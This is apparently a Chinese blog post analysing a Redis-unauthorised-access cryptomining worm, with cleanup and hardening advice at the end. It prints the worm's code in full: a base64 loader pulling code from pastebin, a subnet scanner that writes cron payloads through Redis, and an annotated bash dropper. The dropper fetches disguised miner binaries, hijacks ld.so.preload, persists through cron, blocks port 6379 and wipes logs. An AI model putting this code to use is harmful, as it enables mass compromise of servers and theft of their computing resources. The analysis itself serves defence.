zoukankan      html  css  js  c++  java
  • 基于Redis未授权访问的挖矿蠕虫分析

    0x01 攻击方式

    利用的是通用漏洞入侵服务器并获得相关权限,从而植入挖矿程序再进行隐藏。
    通过对脚本的分析,发现黑客主要是利用 Redis未授权访问漏洞进行入侵。脚本里有个python函数。

    import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))
    

    base64解密完,发现个python脚本:

    #coding: utf-8
    import urllib
    import base64
    
    d= 'https://pastebin.com/raw/eRkrSQfE'
    try:
        page=base64.b64decode(urllib.urlopen(d).read())
        exec(page)
    except:
        pass
    

    作用是访问https://pastebin.com/raw/eRkrSQfE ,将里面的内容进行base64解密。然后运行。

    base64解密后,发现还是个python脚本(我加入了注释):

    #! /usr/bin/env python
    #coding: utf-8
    
    import threading
    import socket
    from re import findall
    import httplib
    import os
    
    IP_LIST = []
    
    class scanner(threading.Thread):
        tlist = []  #用来存储队列的线程
        maxthreads = 200 #最大的并发数量
        evnt = threading.Event()   #用事件来让超过最大线程设置的并发程序等待
        lck = threading.Lock()    #线程锁
    
        def __init__(self,host):
            threading.Thread.__init__(self)
            self.host = host
        def run(self):
            try:
                #使用 Redis 的备份配置文件命令,将挖矿脚本写入 /var/spool/cron/root 文件中。 
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(0.5)
                a = s.connect_ex((self.host, 6379))
                if a == 0:
                    # */1 * * * *  指的是每分钟执行一次相关命令
                    s.send('set backuprd "\n\n\n*/1 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n\n\n"
    ')
                    s.send('config set dir /etc/cron.d/
    ')
                    s.send('config set dbfilename root
    ')
                    s.send('save
    ')
                s.close()
    
            except Exception:
                pass
            scanner.lck.acquire()  #以下用来将完成的线程移除线程队列
            scanner.tlist.remove(self)  #如果移除此完成的队列线程数刚好达到99,则说明有线程在等待执行,那么我们释放event,让等待事件执行
            if len(scanner.tlist) < scanner.maxthreads:
                scanner.evnt.set()
                scanner.evnt.clear()
            scanner.lck.release()
    
        def newthread(host):
            scanner.lck.acquire()  #上锁
            sc = scanner(host)
            scanner.tlist.append(sc)
            scanner.lck.release()  #解锁
            sc.start()
        #将新线程方法定义为静态变量,供调用
        newthread = staticmethod(newthread)
    
    
    #获取当前主机 IP, 据此构造出相关 B段 的IP 列表
    def get_ip_list():
        try:
            url = 'ident.me'
            conn = httplib.HTTPConnection(url, port=80, timeout=10) #获取到主机ip
            req = conn.request(method='GET', url='/', )
            result = conn.getresponse()
            ip2 = result.read()
            ips2 = findall(r'd+.d+.', ip2)[0]
            for i in range(0, 256):
                ip_list2 = (ips2 + (str(i)))
                for g in range(1, 256):
                    IP_LIST.append(ip_list2 + '.' + (str(g)))
        except Exception:
            ip1 = os.popen("/sbin/ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"").readline().rstrip()
            ips1 = findall(r'd+.d+.', ip1)[0]
            for i in range(0, 255):
                ip_list1 = (ips1 + (str(i)))
                for g in range(1, 255):
                    IP_LIST.append(ip_list1 + '.' + (str(g)))
            pass
    
    
    #扫描当前主机 (略大于)B段的其他主机的 6379 端口
    def runPortscan():
        get_ip_list()
        for host in IP_LIST:
            scanner.lck.acquire()
            if len(scanner.tlist) >= scanner.maxthreads:
                scanner.lck.release()
                scanner.evnt.wait()
            else:
                scanner.lck.release()
            scanner.newthread(host)
        for t in scanner.tlist:
            t.join()
    
    if __name__ == "__main__":
        runPortscan()
    
    
    

    关键攻击载荷

    def run(self):
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(0.5)
                a = s.connect_ex((self.host, 6379))
                if a == 0:
                    s.send('set backuprd "\n\n\n*/1 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n\n\n"
    ')
                    s.send('config set dir /etc/cron.d/
    ')
                    s.send('config set dbfilename root
    ')
                    s.send('save
    ')
                s.close()
    

    使用 Redis 的备份配置文件命令,将相关内容写入 /var/spool/cron/root 文件中。
    借此使用计划任务执行命令, 其中 */1 * * * * 指的是每分钟执行一次相关命令

    整个python文件的作用就是蠕虫式传播,使用python对Redis未授权访问的利用,将挖矿文件传播给B段的IP存在漏洞的主机。

    0x02 脚本解释

    在挖矿脚本上加入了注释

    #!/bin/bash。 
    SHELL=/bin/sh #此脚本使用/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin #环境变量,用于遍历/usr/下的所有目录和子目录的路径
    
    function kills() {                                                #设置函数变量 kills
    pkill -f sourplum                                                 #终止进程 将执行与完全进程参数字符串匹配 -f 为正则表达式模式
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg。   #终止wnTKYg进程  终止以ddg*为前缀的进程 删除/tmp/ddg* 为前缀的文件 删除/tmp/wnTKyg文件 &&先成功执行前面的命令在执行后面的命令
    rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius          
    rm -rf /tmp/*index_bak*                                           #删除/tmp下的凡是index_bak的文件 **为通配符
    rm -rf /tmp/*httpd.conf*										  
    rm -rf /tmp/*httpd.conf
    rm -rf /tmp/a7b104c270
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9  #查询显示其他用户启动的进程(a)查看系统中属于自己的进程(x)启动这个进程的用户和它启动的时间(u)通过grep过滤出mine.moneropool.com字符串,通过awk 截取第二域 传递给kill 
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9 
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
    pkill -f biosetjenkins                                                         #终止进程
    pkill -f AnXqV.yam
    pkill -f xmrigDaemon
    pkill -f xmrigMiner
    pkill -f xmrig
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f bashx
    pkill -f bashg
    pkill -f bashe
    pkill -f bashf
    pkill -f bashh
    pkill -f XbashY
    pkill -f libapache
    rm -rf /tmp/httpd.conf
    rm -rf /tmp/conn
    rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
    rm -rf /tmp/conns
    rm -f /tmp/irq.sh
    rm -f /tmp/irqbalanc1
    rm -f /tmp/irq
    rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json
    netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 #查询网络状态 通过grep 筛选出69.28.55.86:443 将第7个字段输出,以/为分割符输出第一个字段,最后杀死名称中有xargs的进程
    netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9  
    netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    y=$(netstat -anp | grep kworkerds | wc -l)                                                     #查询网络状态 筛选 进程名称为:kworkerds 统计进程目录下的文件行数
    if [ ${y} -eq 0 ];then
    	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9     #查询网络状态 筛选 端口进程为:13531(此端口为矿池端口) 统计进程目录下的文件行数并以/分割 最后杀掉xgrgs 进程 如果命令成功执行则返回0
    fi
    }
    
    function system() {
            if [ ! -f "/bin/httpdns" ]; then                                                       #如果 /bin/httpdns成立,则下载 https://pastebin.com/raw/Fj2YdETv 脚本,并赋予 755权限,此处为curl -fsSL安装
    		curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns #否则
    		if [ ! -f "/bin/httpdns" ]; then
    			wget  https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns #如果  /bin/httpdns成立,则下载 https://pastebin.com/raw/Fj2YdETv 脚本,并赋予 755权限,此处为wget安装
    		fi           																		
    		if [ ! -f "/etc/crontab" ]; then
    			echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab                            #如果 /etc/crontab成立,则定期执行 echo -e "0 1 * * * root /bin/httpdns"将此命令输出到/etc/crontab下
    		else
    			sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab #否则先删除/etc/crontab 最后一行 并 写入计划任务echo -e "0 1 * * * root /bin/httpdns"输出到/etc/crontab
    		fi
    	fi
    }
    
    function top() {
    	mkdir -p /usr/local/lib/                                                                   #创建 /usr/local/lib/ 目录
    	if [ ! -f "/usr/local/lib/libntp.so" ]; then                                               #如果 libntp.so 文件存在 
    		curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so #则允许一键命令下载木马命令到libntp.so (此图片木马内含有木马执行脚本仅修改了后缀,实则为木马执行脚本) 并赋予 755权限
    		if [ ! -f "/usr/local/lib/libntp.so" ]; then                                           #如果 libntp.so 存在
    			wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so #则以wget 下载以后缀名为jpg的图片挖矿脚本 存储至 libntp.so 并赋予 755权限
    		fi
    	fi
    	if [ ! -f "/etc/ld.so.preload" ]; then                                                     # 如果/etc/ld.so.preload存在,则输出libntp.s到ld.so.preload
    		echo /usr/local/lib/libntp.so > /etc/ld.so.preload                 						#则输出libntp.s到ld.so.preload
    	else
    		sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload   #否则删除ld.so.preload最后一行内容并重新将libntp.so内容输出到ld.so.preload
    	fi
    	touch -acmr /bin/sh /etc/ld.so.preload                                                     #创建 新的文件ld.so.preload、libntp.so
    	touch -acmr /bin/sh /usr/local/lib/libntp.so
    }
    
    function python() {
    	nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
    	touch /tmp/.tmph #此处为调用的python脚本 进行的是base64编码加密 后面做详细的解释
    }
    
    function echocron() {
    	echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh
    ##" > /etc/cron.d/root #定期执行下载任务输出到/etc/cron.d/root
    	echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh
    ##" > /etc/cron.d/system #定期执行下载任务输出到/etc/cron.d/syste
    	echo -e "*/23 * * * *	(curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh
    ##" > /var/spool/cron/root #定期执行下载任务输出到/etc/cron.d/syste
    	mkdir -p /var/spool/cron/crontabs                                                                                                                  #创建crontabs
    	echo -e "*/31 * * * *	(curl -fsSL https://pastebin.com/raw/5bjpjvLP||wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh
    ##" > /var/spool/cron/crontabs/root #定期执行定期执行下载任务输出到/var/spool/cron/crontabs/root
    	mkdir -p /etc/cron.hourly                                                                                                                         #创建cron.hourly
    	curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron                                  #下载图片木马脚本至oanacro并赋予755权限
    	if [ ! -f "/etc/cron.hourly/oanacron" ]; then
    		wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron                                     #如果存在则下载图片马否则创建新的目录下载挖矿脚本输出到指定文件赋予755权限
    	fi
    	mkdir -p /etc/cron.daily
    	curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
    	if [ ! -f "/etc/cron.daily/oanacron" ]; then
    		wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
    	fi
    	mkdir -p /etc/cron.monthly
    	curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
    	if [ ! -f "/etc/cron.monthly/oanacron" ]; then
    		wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
    	fi
    	touch -acmr /bin/sh /var/spool/cron/root                                                                                                           #创建文件,此处是上面输出的指定文件
    	touch -acmr /bin/sh /var/spool/cron/crontabs/root
    	touch -acmr /bin/sh /etc/cron.d/system
    	touch -acmr /bin/sh /etc/cron.d/root
    	touch -acmr /bin/sh /etc/cron.hourly/oanacron
    	touch -acmr /bin/sh /etc/cron.daily/oanacron
    	touch -acmr /bin/sh /etc/cron.monthly/oanacron
    }
    
    function tables() {
    	iptables -I INPUT -p TCP --dport 6379 -j REJECT                                                                                                    #只允许本机访问 6379端口出于防止其他骇客访问
    	iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
    	service iptables save
    	mkdir -p /tmp
    	touch /tmp/.tables
    }
    
    function downloadrun() {
    	ps=$(netstat -anp | grep :13531 | wc -l)                                                                                                          # 查询网络进程中开放的13531端口,如果/tmp/kworkerds存在则返回0并下载图片马脚本到/tmp/kworkerds 赋予755权限
    	if [ ${ps} -eq 0 ];then
    		if [ ! -f "/tmp/kworkerds" ]; then
    			curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
    			if [ ! -f "/tmp/kworkerds" ]; then
    				wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds                                #否则以wget下载输出到/tmp/kworkerds赋予 755权限
    			fi
    				nohup /tmp/kworkerds >/dev/null 2>&1 &                                                                                                #后台持续执行输出到/dev/null重定向标准输出
    		else
    			nohup /tmp/kworkerds >/dev/null 2>&1 &
    		fi
    	fi
    }
    
    function downloadrunxm() {
    	pm=$(netstat -anp | grep :13531 | wc -l) 
    	if [ ${pm} -eq 0 ];then
    		if [ ! -f "/bin/config.json" ]; then
    			curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json                         #同上段代码一样
    			if [ ! -f "/bin/config.json" ]; then
    				wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
    			fi
    		fi
    		if [ ! -f "/bin/kworkerds" ]; then
    			curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
    			if [ ! -f "/bin/kworkerds" ]; then
    				wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
    			fi
    				nohup /bin/kworkerds >/dev/null 2>&1 &
    		else
    			nohup /bin/kworkerds >/dev/null 2>&1 &
    		fi
    	fi
    }
    
    update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM ) #检查格组件是是否有更新
    
    #有更新就会执行echocron替换相应的落地文件
    if [ ${update}x = "update"x ];then
    	echocron
    else
    	#判断是否存在.tables ,不存在运行tables函数
    	if [ ! -f "/tmp/.tables" ]; then
    		tables
    	fi
    	#判断是否存在.tmph ,不存在运行python函数
    	if [ ! -f "/tmp/.tmph" ]; then
    		rm -rf /tmp/.tmpg
    		python
    	fi
    	#运行脚本函数
    	kills
    	downloadrun
    	echocron
    	system
    	top
    	#等待10s
    	sleep 10
    	##判断是否存在13531端口的连接,没有的话运行downloadrunxm函数,及下载运行需要的文件
    	port=$(netstat -anp | grep :13531 | wc -l)
    	if [ ${port} -eq 0 ];then
    		downloadrunxm
    	fi
    
    	#清除相关登录日志、命令操作历史
    	echo 0>/var/spool/mail/root
    	echo 0>/var/log/wtmp
    	echo 0>/var/log/secure
    	echo 0>/var/log/cron
    fi
    #
    #
    #
    

    首先检查格组件是是否有更新,有更新就会执行echocron替换相应的落地文件。

    kills() 函数
    删除旧版文件和杀死其他挖矿程序的进程及文件和端口

    system() 函数
    下载挖矿木马关键程序(就是downloadrun函数、downloadrunxm函数、echocron函数)并执行

    top() 函数
    以 so 文件劫持 (/etc/ld.so.preload) 的方式执行挖矿木马,是更隐蔽的执行方式

    python() 函数
    蠕虫式传播,使用python对Redis未授权访问的利用,将挖矿文件传播给B段的IP存在漏洞的主机

    echocron() 函数
    将挖矿文件写入各种目录,便于重生

    tables()函数
    iptables限制6379端口只允许本地访问,目的是避免被其他黑客再次入侵

    downloadrun()函数
    下载了elf(分析不来)文件保存为kworkerds,应该是挖矿文件

    downloadrunxm()函数
    下载了elf文件和一个config.json
    config.json内容

    {
        "algo": "cryptonight",
        "api": {
            "port": 0,
            "access-token": null,
            "worker-id": null,
            "ipv6": false,
            "restricted": true
        },
        "av": 0,
        "background": false,
        "colors": true,
        "cpu-affinity": null,
        "cpu-priority": null,
        "donate-level": 0,
        "huge-pages": true,
        "hw-aes": null,
        "log-file": null,
        "max-cpu-usage": 100,
        "pools": [
            {
                "url": "stratum+tcp://xmr.f2pool.com:13531",
                "user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
                "pass": "x",
                "rig-id": null,
                "nicehash": false,
                "keepalive": false,
                "variant": 1
            }
        ],
        "print-time": 60,
        "retries": 5,
        "retry-pause": 5,
        "safe": false,
        "threads": null,
        "user-agent": null,
        "watch": false
    }
    

    看到了钱包地址和挖矿地址
    钱包地址:47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA
    挖矿地址:stratum+tcp://xmr.f2pool.com:13531

    该钱包地址收益

    同时也明白了$(netstat -anp | grep :13531 | wc -l)查看是否连接了矿池的13531端口。目的是用来判断挖矿机是否正在运行。

    0x03 清除方案

    1.清理定时任务 (先清理定时任务,再删除挖矿病毒本体,防止再生)

    # 包括但不限于
    /etc/crontab
    /var/spool/cron/root
    /var/spool/cron/crontabs/root
    /etc/cron.d/system
    /etc/cron.d/root
    /etc/cron.hourly/oanacron
    /etc/cron.daily/oanacron
    /etc/cron.monthly/oanacron
    /etc/cron.monthly/oanacron
    

    2.删除相关动态链接库

    # 包括但不限于
    /etc/ld.so.preload
    /etc/libjdk.so
    /usr/local/lib/md.so
    /usr/local/lib/screen.so
    /usr/local/lib/y.so
    

    3.结束掉挖矿和 DDG 母体相关进程

    ps -ef | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg|kworkerds' | awk '{print $2}' | xargs kill -9
    

    4.然后删除相应的恶意程序,主要在临时目录下。另外建议用 find/locate 再找一下如下关键字qW3xT ddg* wnTKYg 2t3ik 等, 尽可能清理干净。

    # 包括但不限于
    /tmp/qW3xT
    /tmp/ddgs.3013
    /tmp/ddgs.3012
    /tmp/wnTKYg
    /tmp/2t3ik
    /tmp/kworkerds
    

    0x04 后期防护手段

    将 Redis 服务关闭,并设置密码。
    在 redis.conf 中找到 "requirepass" 字段,在后面填上你需要的密码,Redis 客户端也需要使用此密码来访问 Redis 服务,之后重启 Redis 服务,验证密码是否生效。
    注意要使用强度较高的 Redis 密码,因为攻击者也可以通过简单的爆破功能,以扩大传播范围。

  • 相关阅读:
    吴恩达 机器学习笔记
    三个水杯
    架构之美读书笔记05
    架构之美读书笔记04
    架构之美读书笔记03
    架构之美读书笔记02
    架构之美读书笔记01
    《需求工程——软件建模与分析》阅读笔记03
    《需求工程——软件建模与分析》阅读笔记02
    16下学期进度条2
  • 原文地址:https://www.cnblogs.com/zhengjim/p/12522978.html
Copyright © 2011-2022 走看看